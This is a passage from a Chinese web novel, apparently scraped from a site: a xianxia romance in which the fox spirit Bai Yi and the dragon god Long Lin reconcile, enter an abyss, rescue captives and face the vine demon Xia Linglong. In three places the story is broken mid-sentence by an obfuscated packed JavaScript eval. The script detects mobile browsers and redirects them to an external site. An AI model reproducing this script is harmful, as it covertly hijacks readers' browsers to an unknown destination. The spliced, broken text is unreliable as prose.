白亦拼命挣扎,指甲在龙霖手臂上抓出几道红痕,踹人的力道震得床榻都在响。龙霖才意识到把人欺负狠了,都发起脾气了,连忙收紧手臂,将那个香囊又吵了出来,贴着白亦耳畔道:“我没忘,都记得。” 白亦愣神的刹那,龙霖已经俯身封住了他的唇。他下意识地挣扎,却被对方轻易制住。 龙霖突然松开他,手指勾住自己的衣带一扯,白亦慌忙捂住眼睛就要往床下逃,却被一把拽了回来,掌心被强硬地按在龙霖腹部,那里有一道狰狞的疤痕,触感凹凸不平。 果然一碰到这道疤,白亦的动作瞬间僵住了。 这简直就是白亦的死穴? “白亦,”龙霖的声音很轻,“你觉得我为什么把逆鳞给你?” 白亦的指尖微微发抖,不敢回答。 “......知道你是为它而来的时候,我很生气,生完气我又很无奈。“龙霖抓着他的手,一点点抚过那道疤,“但我知道你下不了手。” “你想要,我就给了。就这么简单。” 说得那么轻松。 “我只想要你保证,以后别再对我撒谎,什么事都要告诉我,别瞒我,好不好?我只是生气,不是不要你,你真是……” 白亦的眼泪突然就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572681|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉了下来。他颤抖着抱住龙霖,脸贴在龙霖的肩膀上,声音哽咽得不成调:“对不起,你肯定很疼......司命说你休养了很久,我实在太坏了......根本不值得......我本来打算骗到逆鳞就走的......” “可我真的舍不得,我想补偿你的,浮灵珠都给你了......以后、以后你想要什么宝贝,我都......” 龙霖叹了口气,掌心覆在他发顶:“......傻子,你能骗得了谁啊。” 指尖沾到的泪水滚烫,一路灼到心底。 窗外不知何时下起了雨,雨丝拍打在窗棂上,像极了当初在凡间小院里,他们不分彼此地拥在一起。 龙霖的指尖轻轻蹭过他的脸颊:“我倒是真想要一个宝贝,你给吗?” 白亦慌忙抹了把脸,睫毛上还挂着水珠,鼻音很重,却说得认真:“只要你要的,我现在给不了的,我以后拼了命也会找来给你。” 龙霖突然笑了,眼底漾开细碎的光,手指点了点他心口:“你,也给吗?” 房间里一时只剩下雨打窗棂的声响。 过了很久,白亦才小声开口:”你......还要的吗?” “凭什么不要?"龙霖说得理直气壮,“我拜过天地,入过洞房的夫人,我为什么不要?” 白亦的眼泪又涌了出来,这次却带着笑。他扑进龙霖怀里,发顶蹭着对方下巴,手臂环得紧紧的,像是要把自己嵌进对方骨血里,语气很乖:“龙霖,给你,都给你的。” 龙霖面上不显山不露水,手上却突然发力,掐着白亦的腰就把人抵在了墙上。白亦双腿发软,要不是被龙霖牢牢托着,早就滑坐在地上。他呼吸急促,眼尾泛红,半晌才找回自己的声音,气若游丝地问明天能不能一起去荒渊。 一直从白日到了夜里。 龙霖把人往怀里带了带,手指还缠着那条蓬松的尾巴把玩,掌心不轻不重地揉着尾根:“下面什么情况我都不知道,不能带你去。” 他顿了顿,又补了句:“而且......你明天起得来再说吧。” 白亦整张脸都蒙了层淡粉,像是抹了胭脂。他手臂软软地环上龙霖的脖子,去亲对方的唇,一下一下,像小猫舔水,声音黏糊糊的:“我知道相公会保护我的,带我去吧,好不好?” 龙霖:“你刚说什么?” 手指无意识地收紧,惹得白亦轻哼一声。 “我说......”白亦贴着他耳根,故意放软了调子,尾音拖得长长的,“我相公是九重天最厉害最英勇的神仙,带我去嘛,求求你了......” 龙霖半晌才哑着嗓子道:“好,去。” 话音一落,龙霖就被白亦扑了个满怀,两人一起跌进床帐里。窗外月光正好,照见交叠的身影。 20.魔尊 第二日天光大亮时,司晨在楼下等得茶都凉了三回,始终不见龙霖身影。 他踩着的楼梯上去叫人,指尖刚触到门板就猛地缩了回来——这房间竟被下了三重禁制,灵力流转间泛着淡淡的金光。 “日上三竿了祖宗!”司晨把门板拍得震天响,“再耽搁下去,魔族余孽都要跑出三界外了!” 随后过了一阵门突然无声自开。 龙霖衣冠齐整地立在门口,收拾得一丝不苟。司晨抬脚就要往里闯,却被抵住了胸口。 “不方便。”龙霖声音比平时低哑三分。 司晨眉毛顿时挑起,眼神活像在看抛妻弃子的负心汉:“昨儿使唤我收拾法器的时候怎么不说不方便?” 他踮脚从龙霖肩头望进去,非要进去,看清了情况,忽然噤声,正撞见白亦赤着脚坐在榻边穿衣服,雪白中衣松垮垮挂着。 两人目光相撞,空气瞬间凝固,白亦羞得将自己裹进了被子里。 司晨喉结滚了滚,干笑两声往后退:“确实……不太方便。那什么,您老人家刚和魔族大战三百回合,是该好好休养……” 话没说完人已经窜到楼梯拐角,甚至撞翻了廊下的青瓷花瓶,一截藤蔓原本盘踞在清水中,顶端绽开的三两朵花苞正在缓慢舒展花瓣,每一片都薄如蝉翼,却透出令人心惊的艳色,不像寻常的红,而是伤口深处渗血般的暗绯,花蕊处还挂着粘稠的汁液,在瓶底积了浅浅一层。 等司晨的脚步声彻底消失在楼梯尽头,龙霖反手合上门,回身时坐在床边,指尖已经搭上白亦的腰,不轻不重地捏了捏:“还行吗?” 白亦掀开捂脸的被子,把脸埋进他衣襟里闷声道:“……行,司晨上仙走了吧。” “走了。” 白亦伸手环住龙霖的腰,额头抵着他腹部蹭了蹭,想起当初司命告诉他龙霖几年都不曾提起过他:“……这么久,你想我吗?” 龙霖:“……想。” “那怎么不来找我?”白亦仰起脸。 龙霖掌心覆在他发顶揉了揉,目光里凝着些懊恼:“原想着让你好好反省……结果先沉不住气的倒是我。” 白亦攥紧他腰侧的衣料:“静竹说你修的无情道,要灭情绝爱,大道才能圆满。” “你看我像么?”龙霖掐着他下巴迫他抬头,拇指碾过他还肿着的唇瓣。 白亦摇头,睫毛扫过他掌心:“可你渡劫后看我的眼神……我以为你真的……” “无情道并不是对世间皆无情,而是无动于衷。” 白亦似懂非懂。 无情二字让人联想到冷酷绝情,但真正的无情道并非情感缺失,是指修行者如同明镜台,虽照见万物却不被扰动。这种境界不是麻木,而是超越情感支配的清醒。 显然龙霖到不了那种境界。 “不能骂你,舍不得打你,”龙霖忽然低头咬他耳尖,“还不许我自己生会儿闷气?” 白亦立刻攀住他肩膀,鼻尖蹭着他颈侧直点头:“让的,我错了。” 声音越说越小。 龙霖问起:“你拿着我的逆鳞想做了什么?” “我......可以不说吗?我不想对你撒谎。” 龙霖捧起白亦的脸,拇指蹭过对方微凉的脸颊:“那就不说。” “龙霖......如果可以,我真不想骗你。” 荒渊的入口魔气如实质般翻涌,将方圆百里的草木都腐蚀成扭曲的枯枝。 龙霖站在断崖边,衣袍被罡风撕扯得猎猎作响,司晨说起静竹从昨夜起就不见了,龙霖望着深渊底部翻腾的黑雾,只说了一句“随她去”。 昊焱守在入口处,死死攥着怀曼留下的半截玉佩,看着龙霖:“我和我娘子当初冒险帮你,现在你不能忘恩负义。” 龙霖看他一眼,深渊的风卷起白亦的长发,在身后翻飞,他想替昊焱求求情。 "算了。"龙霖指尖凝起一点金光,那光芒如萤火般没入昊焱眉心,在皮肤上留下转瞬即逝的印记:“不怕死就跟来。” 转身时,龙霖的手已经准确握住了白亦的手,掌心相贴,他捏了捏白亦的指节:“别怕,抱紧我。” 话音一落,手臂已经环住白亦的腰身,纵身跃入那片翻腾的黑暗。 下坠的瞬间,白亦下意识捂住眼睛,额头抵在龙霖胸口。龙霖的衣襟上还带着清冷的檀香,与周遭腥臭的魔气形成鲜明对比。 风声在耳畔呼啸,白亦曾听人说荒渊深不见底,坠入者永无着落之日。 可此刻龙霖的手臂稳稳托着他,不过片刻,靴底就触到了坚实的地面。 龙霖从袖中取出一颗明珠,莹白的光晕在掌心流转,照亮了脚下森然的白骨。 白亦低头时不禁喉结滚动,他们正站在一副巨大的魔兽骨架上,嶙峋的骨刺如利剑般刺向四周,每一根都缠满了暗红色的藤蔓。那些藤蔓表皮透明,内里涌动着粘稠的液体,泛着血色的光泽。 司晨蹲下身,指尖轻触骨架上深深的爪痕:“魔界的蚀骨兽……尸体不该出现在荒渊,更不该……” 话到一半戛然而止,他猛地抬头看向龙霖:“看来魔族的确来到此处了。” 龙霖揽着白亦他跃下兽骨,随之伸手一挥,落地时溅起的骨粉如雪般纷扬。 龙霖掌心明珠的光晕扩大,照亮前方幽深的甬道。 他眉头微蹙,似在感应什么:“下面有活气,被抓的人应该还活着。” 昊焱闻言:“当真?哪怕……哪怕只有一线希望也好。” 龙霖没有回答,只是将明珠往前一送,光照处隐约可见人工开凿的阶梯,石阶上沾着未干的血迹,一直延伸至黑暗深处。 他们一路往下,龙霖攥紧白亦的手腕,将他往自己身边带了带:“跟紧我。” 白亦想起刚被那些蠕动的血藤上,它们像提线般缠绕着兽骨,仿佛下一秒就能操纵骸骨站起。那些藤蔓让他有种诡异的熟悉感。 不久龙霖挥袖震开前方盘踞的藤蔓。 仙力扫过之处,暗红的植株如遭火焚,蜷曲着化为灰烬。他们沿着新辟的路径前行,靴底碾碎满地枯骨,在寂静中发出细碎的爆裂声。 啜泣声就是这时传来的。 像幼猫的呜咽,断断续续地从岩缝里渗出。龙霖突然将白亦往后一拦,掌心金光暴涨。石壁在刺目光芒中轰然坍塌,扬起的尘灰如雾般弥漫。白亦挥开眼前的浮尘,俯身望向新露出的地穴。 数十名少女蜷缩在藤蔓编织的牢笼中,苍白的脸如同漂浮的月亮。她们闻声抬头时,而在角落,怀曼此刻也抬起头。 昊焱的喊声在洞穴里炸开:“娘子!别怕,我来了!” 他几乎是踉跄着扑向地穴。 另一边突然响起呼救声,三名狐族少女被单独囚在血藤缠绕的笼子里。 “少谷主!救救我们!” 白亦下意识往前迈了半步,龙霖开口说:“少谷主,该英雄救美了。” 说罢龙 司晨蹲在满地狼藉中,捡起一截还在抽搐的断藤,暗红浆液从断面汩汩涌出,滴在地上竟冒出丝丝白烟。 地穴中央更引人注目的便是一口血池。 司晨:“这血藤能养得这么有活力,用了多少鲜血养成的。” 昊焱将怀曼救了出来,白亦看着怀曼肚子平坦:“你不是快要临盆了吗?” 只见怀曼凭空变出一颗蛋:“我的孩子在这儿呢。” 昊焱激动地道:“娘子,我们的孩子!” 一家人可算团聚了。 白亦问那三个狐族少女可看清是谁把她们捉来的。 “少谷主……我们不知道,我们原本那日出谷采药,然后就闻到一股异香就没意识了,等醒来的时候就已经到这里了,只看见过两个黑衣人。” 他们一路下来太过顺利,洞里连个鬼影都没见着,那血池被龙霖用仙术随手一拨,咕嘟咕嘟翻出几根白骨,除此之外空空荡荡。 白亦带着人往外撤,龙霖让他们先走,自己殿后。白亦走到一半,忍不住回头看他,眼神里压着不安。 龙霖头也不抬,只淡淡道:“你先走,我马上跟上。” 白亦皱眉:“我知道你厉害,但……” “过来。”龙霖打断他,咬破手指,在他掌心迅速划了道血印,“现在你能感应到我可,行了,走吧。” 白亦盯着掌心那道血色禁制,忽然踮脚凑近,在龙霖唇边飞快落下一吻。龙霖没动,只是垂眼看他,眼底一片柔情。 白亦转身离开,却忍不住一步三回头。 司晨在一旁看得牙酸,啧了一声,他从怀里摸出一件法器,将那些女子一股脑托了上去,昊焱也随怀曼离开了。 白亦站在原地没动,目光落在那蜿蜒的藤蔓上,忽然觉得有些眼熟,突然他想起什么:“司晨!那个夏玲珑就是藤妖!” 白亦话音未落,人已经折返冲了回去。 司晨脸色一变,厉声喝道:“你回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591230|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来!” 可白亦充耳不闻,等他冲到原本的入口处时,那里早已被密密麻麻的藤蔓封死,连一丝缝隙都没留下。 “封住了……”白亦喃喃道。 四周的藤蔓突然疯长,像活物一般扭曲缠绕,司晨挥扇斩断一片,可断裂的藤条竟蠕动着再次袭来,仿佛无穷无尽。 司晨脸色难看:“这什么怪物……” 白亦抽剑劈开迎面袭来的藤蔓,声音紧绷:“怎么办?龙霖被关在里边了!” 司晨冷笑:“你担心他干嘛?先担心担心我们吧!” 洞内一片狼藉,断裂的血藤瘫软在地,像被抽干了生命般枯萎蜷曲。龙霖踩过满地的暗红残骸,靴底碾碎藤蔓时发出细微的声响。 他盯着对面的夏玲珑,每一步都踏得极稳,压迫感随着脚步声层层逼近。 夏玲珑的衣袖已经裂开几道口子,显然方才的交手没讨到半点便宜。她忽然轻笑一声,身后藤蔓猛地缠紧,白亦和司晨不知道从哪个角落被硬生生拽了出来,藤条勒进皮肉,司晨闷哼一声,白亦嘴角绷成一条直线。 “真龙上神,”夏玲珑慢悠悠地展开薄扇,遮住半张脸,嗓音里带着蛇一般的恶毒,扇骨一抬,尖端化作利刃贴上他脸颊,缠在白亦颈侧的藤蔓骤然收紧,“放了我那么多药,再往前一步,我就划烂这张漂亮的脸。” 白亦呼吸微滞:“你是魔?” “少谷主还纠结这个?”夏玲珑指尖抚过自己光滑的脸颊,眼里浮出病态的愉悦,“那日你不是夸我,像二八少女么?你猜猜,我抓她们,想要她们的血……是做什么用的?” 司晨眼神骤然锐利:“幽冥门几百年前就被龙霖亲手封死,除了往生河那条死路,魔物根本不可能踏足人间——” 他声音猛地沉下来:“是谁重新打开了那道门?” 夏玲珑用薄扇掩着唇轻笑,藤蔓在她周身缓缓蠕动,像吐信的毒蛇:“你猜啊?不过你们就算知道了又能怎样?反正今天,你们一个都别想活着走出去。” 夏玲珑的刀刃紧紧贴着白亦的脖颈,锋利的刃口在皮肤上压出一道细线,血珠缓缓渗出来。 龙霖的眼神沉得可怕,却终究停下了脚步。 夏玲珑嘴角刚勾起得逞的笑,她抬手,一道凌厉的魔气直冲龙霖心口而去。龙霖站在原地没动,白亦瞳孔骤缩,喉咙里压着一声没喊出来的快走,下一秒,刺目的金光在龙霖周身炸开,魔气撞上去的瞬间就被绞得粉碎。 夏玲珑脸上的笑僵住了,眼底闪过一丝本能的畏惧。就是这一瞬间的破绽,龙霖的身影已经逼至眼前,她甚至没看清他是怎么出手的,整个人就被一股巨力狠狠掼了出去,后背撞上石壁时喷出一口血。 “真龙上神......好大的本事。”她抹掉唇边的血迹,声音里终于透出几分咬牙切齿的恨意。 龙霖手掌的金光一扫,缠在白亦身上的藤蔓应声断裂,碎成几截枯枝落在地上。他目光快速扫过白亦全身,确认没有伤口后,才侧头问了司晨一句:“没事吧?” 司晨说感谢你老人家还记得我。 夏玲珑瘫坐在血泊里,闻言突然低笑起来:“高高在上的神仙,什么时候也关心起下界人的性命了?我杀几个妖你们不是该拍手叫好的吗?” 她抬手抹去嘴角血迹,指甲缝里还残留着暗红的血渍,夏玲珑倒没想过有一天自己会败露在神仙面前。 龙霖吸起白亦的剑尖抵在她咽喉前三寸:“是你们那位新魔尊重开了幽冥门,还妄图在此另辟通道,颠覆三界,将你们送上来的吗?” 白亦听到“魔尊“二字时脸上有些难看。 他哥真能干出这种事? 他太清楚白珣对九重天的恨了。当年被逼着坠入魔界时,他哥就说过从此恩断义绝,狐谷再没白珣这个人。 这些年魔界易主的消息传遍三界,却没人知道那位神秘的新魔尊,其实就是狐谷曾经惊艳绝伦的大公子。 这个秘密说出去就是死——狐谷上下几百条命,还有他自己,都得给这个“魔尊亲弟”的身份陪葬。 白亦甚至能清晰回忆起白珣小时候牵他手时的温度,那双手总是干燥温暖,会在练剑后轻轻揉他发红的掌心。 可现在满地都是无辜者的血,他分不清当初那个疯疯癫癫活着的哥哥,和现在这个清醒复仇的魔尊,到底哪个更可悲。 白亦盯着龙霖,突然想起自己千方百计要取那片逆鳞的目的,现在他的爱人一定恨不得杀他哥哥。 21.使命 龙霖反手将长剑递还给白亦。 夏玲珑被困在阵法中央,缚妖索深深勒进腕骨,血珠顺着苍白的皮肤滚下来,在青石地上洇开几星刺目的红。她垂着头,散乱的长发掩住半边脸,睫毛在眼下投出一片阴影,像是疲倦至极,又像是根本不屑抬眼。 妖界向来没有天界那套森严的等级,九重天上层层压着仙君、天帝、上神,连三界生灵都要分个尊卑贵贱。这里混沌无序,却也自由得近乎残酷。 白亦接过剑,指尖在剑柄上摩挲了一下,转头看向阵法中沉默的女人:“怎么处置她?” 龙霖的目光落在夏玲珑身上,像在审视一件死物,声音沉冷:“先关着,我还有事要审,她那人族同伙我会让人去寻。” 夏玲珑听到人族的时候才是活了过来:“是我胁迫他做的,这一切都与他无关。” 龙霖:“有没有关,把人抓到不就知道了吗?” 夏玲珑看着他们,那双眼睛里藏着的绝不是屈服,而是更锋利的东西。 龙霖审问完夏玲珑,石室里只剩下阵法运转时低沉的嗡鸣。夏玲珑长发散乱地垂落,唇边还带着一丝未擦净的血痕,眼神却冷得像冰。 白亦站在几步之外,沉默地看着她,龙霖走过来:“这阵法只有我靠近才不会被惊动。” 他说罢顿了顿,侧眸瞥向白亦,“还有你也除外。” 白亦一怔,抬眼看他。 “因为你身上带着我的龙息。” 白亦耳根一热,他自然懂龙霖说的是什么。 他们从那荒渊中脱身,寻到一间荒废的小屋暂作休整。屋内灰尘浮动,窗缝漏进几缕惨淡的光,照在龙霖肩上一道狰狞的伤口上,那是被毒藤刮伤的,暗红的血渍浸透了半边衣料,连上神之躯都无法自愈。 白亦跪坐在他身前,指尖沾了药,小心翼翼地涂抹在伤口边缘。血还在往外渗,他眉头越皱越紧,声音不自觉地发颤:“疼不疼?” 龙霖没回答,只是盯着他紧绷的侧脸看了一会儿,忽然低笑了一声:“白亦……你准备谋杀亲夫,是不是?” 白亦声音都软了几分:“很疼吗?” 白亦从未见过龙霖喊疼示弱的样子。这人向来是刀锋淬血也面不改色,可此刻肩上的伤狰狞刺目,哪怕勉强止了血,仍透着几分触目惊心。他指尖轻轻碰了碰龙霖的脸,嘴唇动了动,却不知道该说什么,最后只能伸手把人揽进怀里,像哄孩子似的低声道:“那我抱抱你。” 龙霖忽然笑了,眉梢一挑,眼底那点戏谑藏都藏不住:“骗你的。” 白亦抬起手想打他,可最终只是轻轻落下,指尖蜷了蜷,声音里带着点委屈:“……不要逗我。” 龙霖看着他微微发红的耳尖,笑意更深,嗓音却放软了:“好,不逗你。” 司晨同龙霖商议,魔族已逃窜至人间,此事必须尽快告知九重天,更何况静竹公主下落不明,局势愈发棘手。 龙霖点头应下,只道:“你先回去,将消息带到。” 司晨皱眉看着龙霖握着白亦的手:“那你呢?” 龙霖神色淡淡,语气理所当然:“养养伤。” 司晨嘴角抽了抽,表情一时难以言喻。 白亦对白家兄弟吩咐,让他们把几个狐族少女先把人送回狐谷,好生安置。 白东疑惑:“少谷主,你不跟我们一起走?老祖宗交代过,我们必须寸步不离地跟着您……” 白亦面不改色:“这事还没查清,我得跟上神继续追查。回去告诉老祖,这是正事。” 龙霖指尖漫不经心地蹭过白亦的手背,被他一巴掌拍开。 白东眼尖,目光在两人之间转了一圈,忽然凑近白亦,声音压得更低:“少谷主,要不您还是跟我们回去吧?都说神族……” 白亦说我已经决定好了。 等人走了之后。 “你很怕你们那个老祖宗?”龙霖忽然开口,嗓音里带着点玩味。 白亦抿了抿唇,半晌才含糊地“嗯”了一声。 藏剑山庄一夜之间人去楼空,老板和老板娘凭空消失,连半点踪迹都没留下。 很快,当初逃出去的少女里有人指认,夏玲珑就是那株抓走她们的藤妖。愤怒的妖众几乎将藏剑山庄掀了个底朝天,瓦砾飞溅,梁柱倾塌,昔日的繁华山庄在怒火中化作一片废墟。 狭小的屋内烛火摇曳,将两人的影子投在斑驳的墙面上,融成一片模糊的暖色。白亦整个人趴在龙霖怀里,手指无意识地卷着他衣襟上的暗纹,絮絮叨叨地说着话,从在九重天给云邃当差的那两年,到后来回到狐谷修行的日子,琐碎的往事像细碎的星子,一颗颗从他唇边漏出来。 龙霖忽然抬手,修长的指间凭空出现一张泛黄的契书。白亦一怔,低头看清内容,那是他当年与云邃签下的契约。龙霖指尖一搓,契书化作细碎的金光消散在空气中:“他这么欺负我的人,我替你还回去了。” 白亦眨了眨眼,想起从司晨那里听闻的消息,云邃上仙因莫名背上的巨额债务,不仅变卖了宫殿,如今还要去其他上神座下当差抵债。 他犹豫了一下,小声道:“其实……云邃上仙有时候还挺好的。” 龙霖忽然捏住他的脸颊,在白亦唇上啄了两下,嗓音里含着警告:“不许提他。” 白亦被这样直白地盯着,干脆把脸埋进龙霖的颈窝里,声音闷闷地妥协:“……好吧。” 龙霖的手掌覆在白亦后颈,指腹无意识地摩挲着那块细嫩的皮肤:“等解决完魔族的事,我就去狐族正式拜访。” 白亦眼睛瞪得圆圆的,脸上明明白白写着困惑。龙霖的手顿住了,眼底闪过一丝难以置信:“你不愿意?” 白亦脑海里已经浮现出老祖宗拄着拐杖、气得都要晕厥过去的模样,让他不自觉地缩了缩脖子。 龙霖看着他这幅模样,忽然低笑一声,手指顺着后颈滑到他耳垂,轻轻捏了捏:“你怕什么?” 白亦被他捏得耳根发麻,却还是忍不住小声嘟囔:“老祖宗会气晕的......” 尾音拖得长长的,像撒娇又像抱怨。 龙霖忽然从怀中取出那颗浮灵珠,指尖轻轻摩挲着珠面:“我有时候真的不知道你在想什么,拿颗珠子就把我打发了?是不是?” 话音未落,他已将珠子放进掌心里。 白亦手指微蜷,下意识就要推拒:“我不要,这是我给你的东西,当初......是给你赔罪的。” 龙霖无可奈何说:“傻瓜,那我再反送给你好不好?” 见白亦还要开口,他又补了一句:“我要来没多大用,你先替我收着。” 白亦抿了抿唇,终究还是慢慢拢住手心。 龙霖忽然抬手抚上他心口:“反噬还疼吗?” “早就不疼了。”白亦摇摇头,“那日......在启祥殿泡过药浴之后就好了。” 白亦还是更在意魔族的事:“魔族就非除不可吗?把他们关起来不行吗?” 龙霖眉宇间凝着化不开的冷意:“几年前新魔尊向天帝下战帖时,就摆明了要开战,当时不知为何突然收手,如今荒渊就是他在人间开的门。他的野心不止魔界。” 白亦:“就非得你做这件事吗?” 他被龙霖揽进怀里,鼻尖撞上坚硬的胸膛,龙霖呼吸扫过他耳尖:“担心我?” 白亦闷闷地点头,发丝蹭过对方下颌。 龙霖扣住他的五指,指缝严丝合缝地嵌在一起:“你相公也很厉害的,真龙一族生来就承继万年修为,我存在的意义……就是守住往生河,防止魔族作乱。” “历任魔尊最终都会在厮杀中癫狂而死,但如今这个……”龙霖喉结滚动了下,“越来越清醒。” 天生为魔,或是堕落成魔,在世人眼里都一样面目可憎。 白亦沉默着不知道在想什么,良久后才开口说:“你想去看看我从小长到大的地方吗?” 语气带着期待。 暮色四合时,白亦让龙霖收敛了周身威压,牵着他的手从狐谷最隐蔽的侧道溜了进去。石板路上落着细碎的桂花,踩上去沙沙作响。 白亦的小院藏在竹林深处,伺候的小狐狸正打着盹,乍一见龙霖惊得差点现了原形,被白亦眼疾手快地捂住嘴:“他是我朋友。” 白亦竖起食指抵在唇边,廊下的风灯随之摇摆:“千万别惊动老祖宗。” 小狐狸呆呆点头,乖顺地退到一旁。 白亦拉着龙霖直奔狐谷最高处的山洞,石壁上还留着幼时用爪子划出的道道痕迹。他点燃洞壁的烛台,暖黄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611213|168679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光晕层层荡开,照亮角落里积灰的小木马和褪色的风车。 龙霖弯腰拾起那个做工粗糙的风车,指尖轻轻一拨,叶片便吱呀呀转起来。 “好幼稚。”他这样说,嘴角却噙着笑,将风车举到白亦面前晃了晃。光影在他轮廓分明的侧脸上流动,连那道惯常冷峻的眉峰都柔和下来。 白亦将软毯铺在洞口石地上,拽着龙霖的衣袖让他坐下。他歪头靠上龙霖的肩膀,发丝垂落时扫过对方颈侧,伸手指向下方:“从这里能看到整个狐谷。” 夜风掠过山崖,吹得他袖口翻飞,露出半截白皙的手腕。 谷底的灯火次第亮起,像散落的星子坠入凡尘。 白亦从龙霖掌心里抢回那个褪色的小风车,又摸出个磨损的竹哨子,在龙霖眼前晃了晃:“哪里幼稚了?” “难道你生下来就是这副模样吗?” “哪副模样?”龙霖任他抢走玩具。 “就是……”白亦比划了一下,“冷冰冰的,让人不敢靠近。” 白亦忽然笑起来,眼角弯成月牙:“我当初穿着嫁衣去找你,还以为你肯定不会娶我,连后路都想好了。” 龙霖:“不娶你,你真跳河怎么办?” “我才不会!就是吓唬你。” 话音未落,远处突然炸开一朵烟花,照亮他骤然明亮的眼睛。 谷底的灯火更盛了,隐约能听见狐狸们的笑闹声。 白亦忽然安静下来,指尖无意识摩挲着风车叶片:“龙霖,底下全是我的亲人,对了,你的亲人需要我也去拜访吗?” 龙霖的脸颊在白亦柔软的发丝间轻轻蹭了蹭,呼吸间都是对方身上淡淡的草木清香。他沉默片刻,才低声道:“那倒不用,我君父如今在九重天的水牢里。” 白亦问:“为什么?” 龙霖的目光落在远处,仿佛望向某个遥远的时空:“我母妃不是仙族。她是羽族的灵鹊妖。父君将她藏得很好,没人知道我的生母是妖。” “母妃生我时难产,我君父去南海求药,正逢魔物蠢动。得知母妃情况危急,他权衡后还是带人去了往生河。” 白亦感觉到掌心里的手指突然变得冰凉,龙霖的声音平静得近乎残忍:“母妃耗尽了灵力,生下我就......那一战,天界折损惨重。父君觉得是自己耽误军情,又害死了母妃,他便自愿入了水牢,说要受千年万年的惩罚。” “我出生后,便由几位上神抚养长大......后来填补了父君的位置。” 白亦的心脏像是被什么狠狠攥住,他用力捏了捏龙霖的手,却说不出话来。龙霖转头对他笑了笑,那笑容很淡,像是在同他说无事。 白亦望着洞外飘摇的灯火:“天界为何都那么讨厌妖族?” 龙霖抬手将他被风吹乱的额发拨到耳后:“不是所有神仙,只是天帝,据说他年轻时被妖族算计过,差点丢了帝位,后来就立了天条,禁绝仙妖通婚。” 白亦怔了怔:“那......要是我们被发现了怎么办?” “不做神仙不就行了?” 龙霖忽然握住白亦的手,引着他抚上自己腹部,隔着一层衣料:“你知道我父君把逆鳞送给谁了吗?” 白亦摇头。 “龙生逆鳞,便是有了软肋。”龙霖的声音低得几乎融进夜色里,“我父君的逆鳞是我母亲,所以你不必愧疚——这片逆鳞,本就是因你而生。” 白亦的指尖微微发抖,捧住龙霖的脸颊,带着珍视:“你不要难过,我自小没有父母......以后我当你的亲人好不好?” 龙霖:“你不是有个哥哥吗?” 白亦的目光忽然飘向洞口不远处,那里立着一座小小的衣冠冢,龙霖顺着他的视线望去,听见怀里的人轻声道:“对,我有个很好的哥哥。他叫白珣,是狐族百年难遇的天才......可惜。” 龙霖忽然收紧手臂将他按进怀里:“没事的,你还有我。” “这一战过后,至少能换几百年太平,等我了结这些......我们就去灵山,那是我母妃的故乡。” 白亦“嗯”了一声。 他们就这样依偎着看完了整个日出。当第一束阳光彻底照亮狐谷时,龙霖出了狐谷,他嘱咐派人看好荒渊的夏玲珑,等他回来。 22.哥哥 白亦就那么闭眼了一会,恍惚间仿佛坠入了一场无法挣脱的噩梦,他看见他哥和龙霖的身影从云端坠落,衣袂翻飞如折翼的鸟,转瞬便被翻涌的浓云吞噬,连半点影子都没留下。 他猛地睁眼,冷汗浸透了后背,指尖无意识地抠进掌心,直到刺痛感将残梦的余韵驱散。 他跪在那座衣冠冢前,黄土堆砌的坟茔冷硬而沉默,碑上的字迹早已被风霜磨得模糊。 远处传来枯叶碎裂的细响,他不必回头也知道是谁,白银停在他身后。 “你怎么将人带回了狐谷了……” 白亦没有立刻回答,他的目光仍凝在碑上,许久,他才极轻地开口:“老祖,我是不是一开始就做错了……” “我以为让他清醒过来,是在帮他……可现在他要杀上仙界,要毁天灭世,龙霖也要杀他……” 他说不下去了。 白亦攥紧了膝头的衣料,指节泛白。 他不能眼睁睁看着他们互相残杀。 白银的手落在他发间,指节却带着一点力道,像是要将他从某种混沌的思绪里拽出来,她苍老的声音:“他恨啊……也恨着我,也恨狐谷,他恨我们抛弃了他,除了你。” 荒渊的风裹挟着腥气,白亦穿过层层阵法,脚步未停,直到站在夏玲珑面前。她半躺在地上,嘴角还挂着未干的血迹, “你带我去见你们的魔尊。” 夏玲珑没动,只是盯着他,呼吸微微发颤。 白亦垂眸看她,忽然笑了一下:“你那人族丈夫,我让人抓住了,凡人嘛,你知道的,脆弱得很。” 夏玲珑半晌,才从齿缝里挤出一个字:“……好。” 夏玲珑伤得不轻,白亦跟在她身后,目光扫过四周,上一次他来魔界,走的是往生河,如今那里已被天兵层层把守,再难通行。 夏玲珑带他走了另一条路。 阴冷潮湿的甬道尽头,越发远离人间的气息。 白亦途中开口说:“你们魔尊……人界也想要吗?” 夏玲珑说:“少谷主说笑了,我们只是做属下的,猜不透尊上的意思。” 